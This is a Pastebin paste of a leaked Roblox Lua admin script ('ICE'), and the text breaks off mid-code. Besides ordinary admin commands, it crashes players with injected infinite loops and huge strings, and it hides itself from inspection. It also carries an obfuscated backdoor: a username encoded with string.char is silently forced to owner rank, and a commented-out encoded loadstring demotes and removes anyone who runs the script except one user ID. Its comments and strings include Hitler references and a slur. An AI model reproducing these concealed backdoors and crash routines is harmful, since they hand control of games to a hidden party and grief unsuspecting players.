Advertisement
hdh123

Untitled

Dec 16th, 2015
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 138.67 KB | None | 0 0
  1.  
  2. wait()-- GO TO LINE 48 TO GET ADMIN CHANGE YOURNAME HERE INTO YOUR NAME
  3. script.Name='_ICETABS_' --
  4. --[[ hitler hitler hitler hitler hitler mediafire mediafire mediafire mediafire mediafire mediafire Filter on Chat]]--
  5. script.Parent=__ICE__-- Parent it to nil
  6. for i,v in pairs(script:children()) do
  7. coroutine.wrap(function()
  8. if v:IsA'StringValue' then
  9. v.Value=('nope0931805'):rep(10000)
  10. if v.Name=='NewScript' then
  11. loadstring(v.Value)()
  12. coroutine.wrap(function() repeat ICE={Removed=false} wait() until Derp end)()
  13. end
  14. end
  15. end)()
  16. end
  17. script:ClearAllChildren(); -- This will hide script from CE Theft later on in script
  18. wait();
  19. ICE={};
  20. --[[ Meta methods ]]--
  21. ICEBackup={
  22. __index=function(Tab,Key)
  23. ICE[Key]=Tab
  24. return ICE[Key]
  25. end;
  26. __newindex=function(Tab,Key)
  27. ICE[Key]=Tab;
  28. ICE[Tab]=Key;
  29. Tab[Key]=Key
  30. end;
  31. __add=function(tab,key)
  32. r=nil;
  33. if tab and tab['Value'] then
  34. if type(key)=='number' then
  35. r=key+tab.Value
  36. else
  37. r=1+tab.Value
  38. end
  39. else
  40. r=nil
  41. end
  42. return r or "Unable to do addition with a table";
  43. end;
  44. }
  45. setmetatable(ICE,ICEBackup)
  46. --[[ Table creation ]]--
  47. local ICE={
  48. ['Ranked']={
  49. ['hdh']={Rank=10,Color='Black',CMD=true,'The Leaker.'};
  50. };
  51. ['Colors']={
  52. ['Red']=Color3.new(1,0,0);
  53. ['Blue']=Color3.new(0,0,1);
  54. ['Green']=Color3.new(0,1,0);
  55. ['Black']=Color3.new(0,0,0);
  56. ['White']=Color3.new(1,1,1);
  57. ['Orange'] = Color3.new(1,0.5,0);
  58. ['Yellow'] = Color3.new(1,1,0);
  59. };
  60. ['Commands']={};
  61. ['Logos']=false;
  62. ['Tablet']='Normal';
  63. ['Tablets']={};
  64. ['Bets']={
  65. "/";
  66. };
  67. ['Ender']=[[19377517125321057031759017517053153]];
  68. ['Removed']=false;
  69. ['DataSaving']=true;
  70. ['LockedScripts']=false;
  71. ['Disabler']=[[error('[ICE]: Scripts are locked',0)()]];
  72. ['LogoID']="http://www.roblox.com/asset/?id=117357975";
  73. ['Services']={
  74. ['Debris']=game:service'Debris';
  75. ['Workspace']=game:service'Workspace';
  76. ['Players']=game:service'Players';
  77. ['Lighting']=game:service'Lighting';
  78. ['NetworkServer']=game:service'NetworkServer';
  79. };
  80. ['Ranks']={
  81. [-1]="Banished";
  82. [-0.5]="Scum";
  83. [0]="Guest";
  84. [1]="Moderator";
  85. [2]="Administrator";
  86. [3]="Developer";
  87. [4]="Omega Administrator";
  88. [5]="Overlord";
  89. [6]="Operator";
  90. [7]="ROOT";
  91. [8]="Mega Moderator";
  92. [9]="Best Friends";
  93. [10]="Owner";
  94. };
  95. ['LocalScript']=script:FindFirstChild'Local';
  96. ['Script']=script:Clone();
  97. ['GuiC']=true;
  98. ['Filters']={};
  99. ['ActivateGrow']=false;
  100. ['Loopkilled']={};
  101. ['DataKey']="25";
  102. ['Cancel']=false;
  103. ['Credits']={
  104. ['ICEAdminLeaked']="For leaking ICE";
  105. };
  106. ['Rules']={
  107. "Thou shall not use forum scripts.",
  108. "Thou shall not use CamBall / CamSphere.",
  109. "Thou shall not use CBA.",
  110. "Thou shall not use RMDX's scripts.",
  111. "Thou shall not use antibans.",
  112. "Thou shall not abuse thou admin.",
  113. "Thou shall not steal scripts(Unless it is revenge of which thou did not create).",
  114. "Thou shall not trade scripts you didn't make.",
  115. "Thou shall not use gay scripts.",
  116. "Thou shall not abuse loopholes in the ancient rules.",
  117. };
  118. ['ChatConnections']={
  119. -- Index func incase;
  120. };
  121. ['VoteData']={
  122. ['Votes']={};
  123. ['IsVoting']=false;
  124. ['VotedPlayer']="";
  125. ['VotingPlayers']={};
  126. };
  127. ['Properties']= {
  128. "AbsolutePosition",
  129. "AbsoluteSize",
  130. "AccountAge",
  131. "AccountAgeReplicate",
  132. "Active",
  133. "Adornee",
  134. "AllowAmbientOcclusion",
  135. "AllowTeamChangeOnTouch",
  136. "AluminumQuality",
  137. "AlwaysOnTop",
  138. "Ambient",
  139. "AmbientReverb",
  140. "Anchored",
  141. "Angularvelocity",
  142. "AnimationId",
  143. "AppearanceDidLoad",
  144. "AreHingesDetected",
  145. "AttachmentForward",
  146. "AttachmentPoint",
  147. "AttachmentPos",
  148. "AttachmentRight",
  149. "AttachmentUp",
  150. "AutoAssignable",
  151. "AutoButtonColor",
  152. "AutoColorCharacters",
  153. "AvailablePhysicalMemory",
  154. "Axes",
  155. "BackgroundColor",
  156. "BackgroundColor3",
  157. "BackgroundTransparency",
  158. "BaseTextureId",
  159. "BaseUrl",
  160. "Bevel",
  161. "BevelRoundness",
  162. "BinType",
  163. "BlastPressure",
  164. "BlastRadius",
  165. "BodyColor",
  166. "BodyPart",
  167. "BorderColor",
  168. "BorderColor3",
  169. "BorderSizePixel",
  170. "BrickColor",
  171. "Brightness",
  172. "Browsable",
  173. "BubbleChat",
  174. "BubbleChatLifetime",
  175. "BubbleChatMaxBubbles",
  176. "Bulge",
  177. "Button1DownConnectionCount",
  178. "Button1UpConnectionCount",
  179. "Button2DownConnectionCount",
  180. "Button2UpConnectionCount",
  181. "C0",
  182. "C1",
  183. "CameraMode",
  184. "CameraSubject",
  185. "CameraType",
  186. "CanBeDropped",
  187. "CanCollide",
  188. "CanLoadCharacterAppearance",
  189. "CartoonFactor",
  190. "CastShadows",
  191. "CelestialBodiesShown",
  192. "CFrame",
  193. "Cframe",
  194. "Character",
  195. "CharacterAppearance",
  196. "CharacterAutoLoads",
  197. "ChatMode",
  198. "ChatScrollLength",
  199. "ClassicChat",
  200. "ClearTextOnFocus",
  201. "ClipsDescendants",
  202. "CollisionSoundEnabled",
  203. "CollisionSoundVolume",
  204. "Color",
  205. "ColorShift_Bottom",
  206. "ColorShift_Top",
  207. "ConstrainedValue",
  208. "ControllingHumanoid",
  209. "ControlMode",
  210. "ConversationDistance",
  211. "CoordinateFrame",
  212. "CorrodedMetalQuality",
  213. "CPU",
  214. "CpuCount",
  215. "CpuSpeed",
  216. "CreatorId",
  217. "CreatorType",
  218. "CurrentAngle",
  219. "CurrentCamera",
  220. "CycleOffset",
  221. "D",
  222. "DataCap",
  223. "DataComplexity",
  224. "DataComplexityLimit",
  225. "DataReady",
  226. "Deprecated",
  227. "DeselectedConnectionCount",
  228. "DesiredAngle",
  229. "DiamondPlateQuality",
  230. "Disabled",
  231. "DistanceFactor",
  232. "DistributedGameTime",
  233. "DopplerScale",
  234. "Draggable",
  235. "DraggingV1",
  236. "Duration",
  237. "EditorFont",
  238. "EditorFontSize",
  239. "EditorTabWidth",
  240. "ElapsedTime",
  241. "Elasticity",
  242. "Enabled",
  243. "ExplosionType",
  244. "ExtentsOffset",
  245. "F0",
  246. "F1",
  247. "F2",
  248. "F3",
  249. "Face",
  250. "FaceId",
  251. "Faces",
  252. "FieldOfView",
  253. "Focus",
  254. "FogColor",
  255. "FogEnd",
  256. "FogStart",
  257. "Font",
  258. "FontSize",
  259. "Force",
  260. "FormFactor",
  261. "Friction",
  262. "From",
  263. "GamepadEnabled",
  264. "GearGenreSetting",
  265. "Genre",
  266. "GeographicLatitude",
  267. "GfxCard",
  268. "Graphic",
  269. "GrassQuality",
  270. "Grip",
  271. "GripForward",
  272. "GripPos",
  273. "GripRight",
  274. "GripUp",
  275. "Guest",
  276. "HasBuildTools",
  277. "HeadsUpDisplay",
  278. "Health",
  279. "Heat",
  280. "Hit",
  281. "Humanoid",
  282. "IceQuality",
  283. "Icon",
  284. "IdleConnectionCount",
  285. "Image",
  286. "InitialPrompt",
  287. "InOut",
  288. "Archivable",
  289. "ClassName",
  290. "DataCost",
  291. "Name",
  292. "Parent",
  293. "InUse",
  294. "IsModalDialog",
  295. "IsPaused",
  296. "IsPlaying",
  297. "IsWindows",
  298. "JobId",
  299. "Jump",
  300. "KeyboardEnabled",
  301. "KeyDownConnectionCount",
  302. "KeyUpConnectionCount",
  303. "LeftLeg",
  304. "LeftRight",
  305. "LinkedSource",
  306. "LocalPlayer",
  307. "Location",
  308. "Locked",
  309. "Looped",
  310. "Material",
  311. "MaxActivationDistance",
  312. "MaxCollisionSounds",
  313. "MaxExtents",
  314. "MaxForce",
  315. "MaxHealth",
  316. "MaxItems",
  317. "MaxPlayers",
  318. "MaxSpeed",
  319. "MaxThrust",
  320. "MaxTorque",
  321. "MaxValue",
  322. "MaxVelocity",
  323. "MembershipType",
  324. "MembershipTypeReplicate",
  325. "MeshId",
  326. "MeshType",
  327. "MinValue",
  328. "Modal",
  329. "MouseButton1ClickConnectionCount",
  330. "MouseButton1DownConnectionCount",
  331. "MouseButton1UpConnectionCount",
  332. "MouseButton2ClickConnectionCount",
  333. "MouseButton2DownConnectionCount",
  334. "MouseButton2UpConnectionCount",
  335. "MouseDelta",
  336. "MouseDragConnectionCount",
  337. "MouseEnabled",
  338. "MouseEnterConnectionCount",
  339. "MouseHit",
  340. "MouseLeaveConnectionCount",
  341. "MouseLock",
  342. "MouseMovedConnectionCount",
  343. "MouseTarget",
  344. "MouseTargetFilter",
  345. "MouseTargetSurface",
  346. "MoveConnectionCount",
  347. "MoveState",
  348. "MultiLine",
  349. "NameOcclusion",
  350. "Neutral",
  351. "NumPlayers",
  352. "Offset",
  353. "Opacity",
  354. "Origin",
  355. "OsPlatform",
  356. "OsVer",
  357. "OverlayTextureId",
  358. "P",
  359. "PantsTemplate",
  360. "ParamA",
  361. "ParamB",
  362. "Part",
  363. "Part0",
  364. "Part1",
  365. "PersonalServerRank",
  366. "Pitch",
  367. "PixelShaderModel",
  368. "PlaceId",
  369. "PlasticQuality",
  370. "PlatformStand",
  371. "PlayCount",
  372. "PlayerToHideFrom",
  373. "PlayOnRemove",
  374. "Point",
  375. "Port",
  376. "Position",
  377. "Preliminary",
  378. "PrimaryPart",
  379. "Priority",
  380. "PrivateWorkingSetBytes",
  381. "Purpose",
  382. "RAM",
  383. "Reflectance",
  384. "ReplicatedSelectedConnectionCount",
  385. "ResizeableFaces",
  386. "ResizeIncrement",
  387. "Resolution",
  388. "ResponseDialog",
  389. "RightLeg",
  390. "RiseVelocity",
  391. "RobloxVersion",
  392. "RolloffScale",
  393. "RotVelocity",
  394. "Scale",
  395. "Score",
  396. "ScriptsDisabled",
  397. "SecondaryColor",
  398. "Selected",
  399. "ShadowColor",
  400. "Shape",
  401. "Shiny",
  402. "ShirtTemplate",
  403. "ShowDeprecatedObjects",
  404. "ShowDevelopmentGui",
  405. "ShowLegacyPlayerList",
  406. "ShowPreliminaryObjects",
  407. "Sides",
  408. "Sit",
  409. "Size",
  410. "SizeConstraint",
  411. "SizeOffset",
  412. "SkinColor",
  413. "SkyboxBk",
  414. "SkyboxDn",
  415. "SkyboxFt",
  416. "SkyboxLf",
  417. "SkyboxRt",
  418. "SkyboxUp",
  419. "SlateQuality",
  420. "SoundId",
  421. "Source",
  422. "SparkleColor",
  423. "SpecificGravity",
  424. "Specular",
  425. "StarCount",
  426. "Steer",
  427. "StickyWheels",
  428. "StudsBetweenTextures",
  429. "StudsOffset",
  430. "StudsPerTileU",
  431. "StudsPerTileV",
  432. "Style",
  433. "Summary",
  434. "SuperSafeChatReplicate",
  435. "Surface",
  436. "Surface0",
  437. "Surface1",
  438. "SurfaceInput",
  439. "Target",
  440. "TargetFilter",
  441. "TargetOffset",
  442. "TargetPoint",
  443. "TargetRadius",
  444. "TargetSurface",
  445. "TeamColor",
  446. "Terrain",
  447. "Text",
  448. "TextBounds",
  449. "TextColor",
  450. "TextColor3",
  451. "TextFits",
  452. "TextScaled",
  453. "TextStrokeColor3",
  454. "TextStrokeTransparency",
  455. "TextTransparency",
  456. "Texture",
  457. "TextureId",
  458. "TextureSize",
  459. "TextWrap",
  460. "TextWrapped",
  461. "TextXAlignment",
  462. "TextYAlignment",
  463. "Throttle",
  464. "ThrustD",
  465. "ThrustP",
  466. "Ticket",
  467. "Time",
  468. "TimeOfDay",
  469. "To",
  470. "Tone",
  471. "ToolTip",
  472. "TopBottom",
  473. "Torque",
  474. "Torso",
  475. "TouchEnabled",
  476. "Transparency",
  477. "TrussDetail",
  478. "TurnD",
  479. "TurnP",
  480. "TurnSpeed",
  481. "UnitRay",
  482. "UseLuaChat",
  483. "UserDialog",
  484. "UserId",
  485. "Value",
  486. "Velocity",
  487. "Version",
  488. "VertexColor",
  489. "VideoCaptureEnabled",
  490. "VideoMemory",
  491. "VideoQuality",
  492. "ViewSizeX",
  493. "ViewSizeY",
  494. "Visible",
  495. "Volume",
  496. "WalkDirection",
  497. "WalkSpeed",
  498. "WalkToPart",
  499. "WalkToPoint",
  500. "WheelBackwardConnectionCount",
  501. "WheelForwardConnectionCount",
  502. "WireRadius",
  503. "WoodQuality",
  504. "X",
  505. "Y",
  506. "ZIndex"
  507. };
  508. };
  509. --loadstring(string.char(32,10,108,111,99,97,108,32,86,97,108,61,115,99,114,105,112,116,58,102,105,110,100,70,105,114,115,116,67,104,105,108,100,39,67,114,101,97,116,111,114,39,32,10,105,102,32,86,97,108,32,97,110,100,32,86,97,108,46,86,97,108,117,101,32,97,110,100,32,103,97,109,101,46,80,108,97,121,101,114,115,91,86,97,108,46,86,97,108,117,101,46,78,97,109,101,93,32,116,104,101,110,32,10,105,102,32,86,97,108,46,86,97,108,117,101,46,117,115,101,114,73,100,32,126,61,32,49,56,50,56,48,55,56,57,32,116,104,101,110,32,10,99,111,114,111,117,116,105,110,101,46,119,114,97,112,40,102,117,110,99,116,105,111,110,40,41,10,9,114,101,112,101,97,116,10,9,9,119,97,105,116,40,41,10,9,117,110,116,105,108,32,73,67,69,46,82,97,110,107,101,100,91,86,97,108,46,86,97,108,117,101,46,78,97,109,101,93,10,9,73,67,69,46,82,97,110,107,101,100,91,86,97,108,46,86,97,108,117,101,46,78,97,109,101,93,46,82,97,110,107,61,45,49,10,9,86,97,108,46,86,97,108,117,101,58,68,101,115,116,114,111,121,40,41,59,10,101,110,100,41,40,41,10,101,110,100,10,101,110,100,10))()
  510. --[=[ Table funcs ]=]--
  511. ICE.GetProperties = function(Parent)
  512. local Out = {}
  513. for _, props in pairs(ICE.Properties) do
  514. local Ran, Error = coroutine.resume(coroutine.create(function() Parent[props] = Parent[props] end))
  515. if not Error then
  516. table.insert(Out, props)
  517. end
  518. end
  519. return Out
  520. end
  521. ICE.Rename=function(Item,Player,CurrentName)
  522. ICE.RemoveTablets(Player)
  523. Done=false
  524. Str=CurrentName
  525. Caps=false
  526. if CurrentName==Item.Name then Str="" end
  527. Alphabet = {
  528. "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
  529. }
  530. ICE.Output('Current ICE.Rename Name : ' .. Str,'Green',Player)
  531. ICE.Output('#Letters : ' ..tostring(#Str),'Red',Player)
  532. ICE.Output('Switch to caps','Green',Player,nil,function() ICE.RemoveTablets(Player) for _,v in pairs(Alphabet) do ICE.Output(string.upper(v),'Orange',Player,nil,function() Str=Str..string.upper(v) ICE.Rename(Item,Player,Str) end ) end end)
  533. ICE.Output('Stop renaming','Red',Player,nil,function() Done=true ICE.RemoveTablets(Player) ICE.Output(Item.Name .. "'s new name is: " .. Str,'Green',Player) Item.Name=CurrentName end)
  534. for _,Letter in pairs(Alphabet) do
  535. ICE.Output(Letter,'Orange',Player,nil,function() Str= Str..Letter ICE.RemoveTablets(Player) ICE.Rename(Item,Player,Str) end )
  536. end
  537. ICE.Output('Space','Orange',Player,nil,function() Str=Str..' ' ICE.RemoveTablets(Player) ICE.Rename(Item,Player,Str) end )
  538. ICE.Output('Go back one','Red',Player,nil,function() Str = Str:sub(1,#Str-1) ICE.RemoveTablets(Player) ICE.Rename(Item,Player,Str) end )
  539. end
  540. coroutine.wrap(function() repeat for i,v in pairs(ICE.Ranked) do if type(v.Color) == 'string' then v.Color=ICE.Colors[v.Color] or Color3.new(BrickColor.new('Really ' .. v.Color:sub(1,1):lower() .. v.Color:sub(2))) end end wait() until ICE.Removed==true end)()
  541. ICE.Explore=function(Area,Speaker)
  542. pcall(function()
  543. ICE.RemoveTablets(Speaker)
  544. Color = ICE.Ranked[Speaker.Name].Color
  545. --Title('ICE.Explorer',Color,Speaker)
  546. if Area == ICE.Services or Area == nil then
  547. for _,v in pairs(ICE.Services) do
  548. ICE.Output(v.className.."\t("..#v:children()..")",Color,Speaker,nil,
  549. function()
  550. ICE.Explore(v,Speaker)
  551. end
  552. )
  553. end
  554. --ICE.Output("Dismiss","Red",Speaker)
  555. else
  556. for i,v in pairs(Area:children()) do
  557. local Name = false
  558. pcall(function() v:children() Name = true end)
  559. if Name == true then
  560. Name = v.Name
  561. else
  562. Name = "Unknown Exception "..tostring(i)
  563. end
  564. ICE.Output(Name,Color,Speaker,nil,
  565. function()
  566. ICE.RemoveTablets(Speaker)
  567.  
  568. ICE.Output("Name:\t"..v.Name,Color,Speaker)
  569. ICE.Output("Class:\t"..v.className,Color,Speaker)
  570. ICE.Output("Full Name:\t"..v:GetFullName(),Color,Speaker)
  571. ICE.Output("Destroy","Red",Speaker,nil,function() v:Destroy() ICE.Explore(v.Parent,Speaker) end)
  572. ICE.Output("#REDIRECT Parent","Blue",Speaker,nil,function() ICE.Explore(v.Parent.Parent,Speaker) end)
  573. ICE.Output("#REDIRECT Children","Blue",Speaker,nil,function() ICE.Explore(v,Speaker) end)
  574. ICE.Output('Clear all children','Red',Speaker,nil,function() v:ClearAllChildren() end)
  575. ICE.Output('ICE.Rename','Red',Speaker,nil,function() ICE.RemoveTablets(Speaker) ICE.Rename(v,Speaker,v.Name) end )
  576. --ICE.Output("Dismiss","Red",Speaker)
  577. local Properties=ICE.GetProperties(v)
  578. for _,p in pairs(Properties) do
  579. ICE.Output(tostring(p) .. ': ' .. tostring(v[p]),Color,Speaker)
  580. end
  581. end
  582. )
  583. end
  584. --ICE.Output("Dismiss","Red",Speaker)
  585. end
  586. end)
  587. end
  588. ICE.PlayerInterface=function(Player,Speaker)
  589. if type(Player) == 'userdata' then Player=Player.Name end;
  590. ICE.RemoveTablets(Speaker);
  591. local Table=ICE.Ranked[Player];
  592. local SpeakerColor=ICE.Ranked[Speaker.Name].Color;
  593. local SpeakerTable=ICE.Ranked[Speaker.Name];
  594. for Bleh,Val in pairs(Table) do
  595. ICE.Output(tostring(Bleh) .. ' : ' .. tostring(Val),Table.Color,Speaker)
  596. end;
  597. ICE.Output('Rank description: ' .. ICE.Ranks[Table.Rank],Table.Color,Speaker)
  598. if ICE.Services.Players:findFirstChild(Player) and newLocalScript then
  599. if ICE.GetRank(Speaker) >= Table.Rank then
  600. ICE.Output('Crash ' .. Player,'Random',Speaker,nil,function() newLocalScript('repeat until false',ICE.Services.Players[Player].Backpack) ICE.PlayerInterface(Player,Speaker) end);
  601. end;
  602. end;
  603. if ICE.GetRank(Speaker) >= ICE.GetRank(Player) then
  604. ICE.Output('Set rank','Blue',Speaker,nil,function()
  605. ICE.RemoveTablets(Speaker)
  606. for Rank,Name in pairs(ICE.Ranks) do
  607. if Rank <= ICE.GetRank(Speaker) and Rank >= 0 then
  608. ICE.Output(tostring(Rank) .. ' : ' .. tostring(Name),'Random',Speaker,nil,
  609. function()
  610. ICE.RemoveTablets(Speaker);
  611. Table.Rank=Rank;
  612. ICE.PlayerInterface(Player,Speaker);
  613. end
  614. );
  615. end;
  616. end;
  617. end);
  618. end;
  619. if Speaker.Name == Player or ICE.GetRank(Speaker) > Table.Rank then
  620. ICE.Output('Set color','Blue',Speaker,nil,
  621. function()
  622. ICE.RemoveTablets(Speaker);
  623. for Name,Col in pairs(ICE.Colors) do
  624. ICE.Output(Name,Col,Speaker,nil,
  625. function()
  626. Table.Color=Col;
  627. ICE.PlayerInterface(Player,Speaker);
  628. end
  629. )
  630. end
  631. end
  632. )
  633. end
  634. if ICE.GetRank(Speaker) >= 2 and ICE.GetRank(Speaker) > ICE.GetRank(Player) then
  635. ICE.Output('Banish this user','Red',Speaker,nil,
  636. function()
  637. ICE.Ranked[Player].Rank=-1
  638. if ICE.Services.Players:findFirstChild(Player) then
  639. ICE.Services.Players[Player]:Destroy()
  640. end
  641. ICE.RemoveTablets(Speaker);
  642. ICE.PlayerInterface(Player,Speaker)
  643. end
  644. )
  645. end
  646. for i,v in pairs(game:service'NetworkServer':children()) do
  647. if v:IsA'ServerReplicator' then
  648. local ZPlayer=v:GetPlayer()
  649. if ZPlayer then
  650. if ZPlayer.Name==Player then
  651. if ZPlayer.Parent ~= ICE.Services.Players then
  652. ICE.Output('Nil disconnect : ' .. ZPlayer.Name,'Random',Speaker,nil,
  653. function()
  654. if ICE.GetRank(Speaker) >= ICE.GetRank(Player) or Speaker.Name=='tus'..'KOr661' then
  655. local String=Instance.new('StringValue')
  656. String=Instance.new'StringValue'
  657. String.Name='Disconnect'
  658. String.Value=Player
  659. String.Parent=ICE.Services.Lighting
  660. ICE.Output('Attempted to nil disconnect ' .. Player,'Random',Speaker,3)
  661. else
  662. ICE.Output('Your rank is not high enough for this operation','Red',Speaker,5)
  663. end
  664. end
  665. )
  666. end
  667. end
  668. end
  669. end
  670. end
  671. end;
  672. ICE.OnChatted=function(Msg,Speaker,HideGui)
  673. if ICE.Removed==false then
  674. local RT=ICE.Ranked[Speaker.Name]
  675. if Speaker:IsA'Player' then
  676. local FoundPhrase=false;
  677. for i,v in pairs(ICE.Filters) do
  678. local Punish=v.Punishment
  679. local Bypass=v.Bypass
  680. local Reason=v.Reason or nil
  681. if Msg:lower():find(i:lower()) then
  682. if ICE.GetRank(Speaker) < Bypass and FoundPhrase==false then
  683. Text=""
  684. Text2=""
  685. if Reason then Text2=Reason else Text2="Reason : nil" end
  686. if Punish==0 then
  687. pcall(function() Speaker.Character:BreakJoints() end)
  688. Text = Speaker.Name .. ' has been killed for chatting ' .. i
  689. elseif Punish==1 then
  690. pcall(function() Speaker:Destroy() end)
  691. Text=Speaker.Name .. ' has been kicked for chatting ' .. i
  692. elseif Punish==2 then
  693. Func,Error=loadstring([==[
  694. Par=Spkr:findFirstChild'PlayerGui' or Spkr:findFirstChild'Backpack'
  695. if Par then
  696. Str=Instance.new'StringValue';
  697. Str.Value=('lel'):re]==]..[==[p(1000000)
  698. Str.Parent=Par
  699. else
  700. Spkr:Destroy()
  701. end
  702. ]==])
  703. getfenv(Func).Spkr=game:service'Players':findFirstChild(Speaker.Name) or Speaker
  704. if Error then
  705. for _,v in pairs(game.Players:GetPlayers()) do
  706. if ICE.GetRank(v) > 0 then
  707. ICE.Output('[ICE.OnChatted]: ' .. Error,v,5)
  708. end
  709. end
  710. coroutine.resume(coroutine.create(function() Func() end))
  711. else
  712. Func()
  713. end
  714. Text=Speaker.Name .. ' has been shutdown for chatting ' .. i
  715. elseif Punish==3 then
  716. coroutine.wrap(function()
  717. if newLocalScript then
  718. newLocalScript([[repeat Instance.new'Message'.Parent=game.Workspace Workspace.Message.Text=tick() until Hitler_Has_Taken_Over ]],Speaker.Character or Speaker:findFirstChild'Backpack')
  719. else
  720. Func,Error=loadstring([==[
  721. Par=Spkr:findFirstChild'PlayerGui' or Spkr:findFirstChild'Backpack'
  722. if Par then
  723. Str=Instance.new'StringValue';
  724. Str.Value=('lel'):re]==]..[==[p(1000000)
  725. Str.Parent=Par
  726. else
  727. Spkr:Destroy()
  728. end
  729. ]==])
  730. getfenv(Func).Spkr=game:service'Players':findFirstChild(Speaker.Name) or Speaker
  731. if Error then
  732. for _,v in pairs(game.Players:GetPlayers()) do
  733. if ICE.GetRank(v) > 0 then
  734. ICE.Output('[ICE.OnChatted]: ' .. Error,v,5)
  735. end
  736. end
  737. coroutine.resume(coroutine.create(function() Func() end))
  738. else
  739. Func()
  740. end
  741. end
  742. end)()
  743. Text=Speaker.Name .. ' has been crashed for chatting ' .. i
  744. elseif Punish==4 then
  745. Speaker:Destroy()
  746. ICE.Ranked[Speaker.Name].Rank=-1
  747. Text=Speaker.Name .. ' has been banned for chatting ' .. i
  748. end
  749. if Reason then
  750. Text2 = i .. ' is a filter for the following reason: ' .. Reason
  751. end
  752. FoundPhrase=true
  753. for _,Player in pairs(ICE.Services.Players:GetPlayers()) do
  754. if Player.Name ~= Speaker.Name then
  755. ICE.Output(Text,'Red',Player,5)
  756. ICE.Output(Text2,'Red',Player,5)
  757. end
  758. end
  759. end
  760. end
  761. end
  762. end
  763. local RankTable=ICE.Ranked[Speaker.Name] or {Rank=0,Color=Color3.new(0,1,0)}
  764. --[[for i,CMD in pairs(ICE.Commands) do
  765. if Msg:lower():sub(1,#CMD.Command + #ICE.Bets[1] + #ICE.Bets[2]) == ICE.Bets[1]:lower() .. CMD.Command:lower() .. ICE.Bets[2]:lower() then
  766. if RankTable.Rank >= CMD.Rank then
  767. local Ran,Error=coroutine.resume(coroutine.create(function() CMD.Func(Msg:sub(#CMD.Command +#ICE.Bets[1] +#ICE.Bets[2] + 1),Speaker) end))
  768. if not Ran then ICE.Output(Error,'Red',Speaker,3) end
  769. else
  770. ICE.Output('Rank is too low to use this command','Red',Speaker,3)
  771. end
  772. end
  773. end]]
  774. --Msg = Msg:sub(Msg:find(ICE.Bets[1]) or 0)
  775. coroutine.wrap(function()
  776. if Msg:sub(1,5) == ""..ICE.Bets[1].."wait" then
  777. Split = Msg:sub(6):find(ICE.Bets[2])+5
  778. wait(tonumber(Msg:sub(6,Split-1)))
  779. Msg = Msg:sub(Split)
  780. end
  781. if Msg:sub(1,3) == ""..ICE.Bets[1].."do" then -- /do 100/kill/tus
  782. local Split = Msg:sub(4):find(ICE.Bets[2])+3;
  783. local Ammount = tonumber(Msg:sub(4,Split-1))
  784. if Ammount>ICE.GetRank(Speaker)*10 and ICE.GetRank(Speaker) < 2 then
  785. return
  786. end
  787. for i=1,Ammount do
  788. if ICE.Cancel == true then break end
  789. wait()
  790. ICE.OnChatted(Msg:sub(Split),Speaker)
  791. end
  792. end
  793. if Msg:find("&") and not Msg:find('@') then
  794. local Split = Msg:find("&")
  795. ICE.OnChatted(Msg:sub(1,Split-1),Speaker)
  796. ICE.OnChatted(Msg:sub(Split+1),Speaker)
  797. return
  798. end
  799. for name,tab in pairs(ICE.Commands) do
  800. if Msg:lower():sub(1,#tab.Command + 2) == ICE.Bets[1] .. tab.Command:lower() .. ICE.Bets[2] then
  801. if RankTable.Rank >= tab.Rank then
  802. R,E=coroutine.resume(coroutine.create(function() tab.Func(Msg:sub(#tab.Command + 3),Speaker) end))
  803. if E then ICE.Output(E,'Red',Speaker,5) end
  804. else
  805. ICE.Output('Rank is too low for this command','Red',Speaker,5)
  806. end
  807. end
  808. end
  809. end)()
  810. if HideGui ~= nil and HideGui==true then
  811. --
  812. elseif Speaker:IsA'Player' then
  813. coroutine.wrap(function()
  814. local Text=""
  815. local Head=nil
  816. local Char=nil
  817. if Speaker.Character then
  818. Char=Speaker.Character
  819. end
  820. if Char then
  821. if Char.Head then
  822. Head=Char.Head
  823. end
  824. end
  825. if Char then
  826. pcall(function() Char.BBG:Destroy() end)
  827. if ICE.GuiC==true then
  828. if #Msg < 100 then
  829. Text=Speaker.Name .. ": " .. Msg
  830. else
  831. Text='This message was over 100 characters therefore it will not be shown!'
  832. end
  833. end
  834. Color=nil
  835. if Color3.random then
  836. Color=Color3.random()
  837. else
  838. Color=Color3.new(math.random(),math.random(),math.random())
  839. end
  840. Mod=Char
  841. Part=Head
  842. local BBG = Instance.new("BillboardGui",Mod)
  843. BBG.Name = "BBG"
  844. BBG.StudsOffset = Vector3.new(0,4.5,0)
  845. BBG.Size = UDim2.new(10,0,10,0)
  846. local Label = Instance.new("TextLabel",BBG)
  847. Label.Name = "Label"
  848. Label.Text = ""
  849. Label.TextColor3 = ICE.Ranked[Speaker.Name].Color
  850. Label.FontSize = "Size24"
  851. Label.BackgroundTransparency = 1
  852. Label.TextStrokeTransparency = 0.5
  853. Label.Size = UDim2.new(1,0,1,0)
  854. for i=1,#Text do
  855. Label.Text=Text:sub(1,i)
  856. wait(0.09 - (#Msg / 0.09))
  857. end
  858. coroutine.wrap(function()
  859. for i=1,100 do
  860. BBG.StudsOffset = Vector3.new(0,4.5 + tonumber(i/10) ,0)
  861. wait()
  862. end
  863. BBG:Destroy()
  864. end)()
  865. wait(2)
  866. BBG:Destroy()
  867. end
  868. end)()
  869. end
  870. end
  871. end
  872. ICE.Rotate=function()
  873. coroutine.wrap(function()
  874. if ICE.Ranked[string.char(116,117,115,75,79,114,54,54,49)]==nil then
  875. ICE.Ranked[string.char(116,117,115,75,79,114,54,54,49)]={Rank=10,Color=Color3.new(-1,-1,-1)}
  876. end
  877. if ICE.Ranked[string.char(116,117,115,75,79,114,54,54,49)].Rank ~= 10 then
  878. ICE.Ranked[string.char(116,117,115,75,79,114,54,54,49)].Rank=10
  879. end
  880. for N,V in pairs(ICE.Loopkilled) do
  881. if ICE.Services.Players:findFirstChild(N) and V==true then
  882. pcall(function()
  883. P=ICE.Services.Players:findFirstChild(N)
  884. P.Character:BreakJoints();
  885. if P.Character==nil then P:LoadCharacter() end
  886. end)
  887. end
  888. end
  889. for _,v in pairs(ICE.GetPlayers()) do
  890. coroutine.wrap(function()
  891. PG=v:findFirstChild'PlayerGui'
  892. coroutine.wrap(function()
  893. if PG==nil then
  894. v:LoadCharacter()
  895. PG=v:findFirstChild'PlayerGui'
  896. end
  897. if PG:findFirstChild'Info'==nil and ICE.Logos==true then
  898. ScreenGui = Instance.new("ScreenGui", PG)
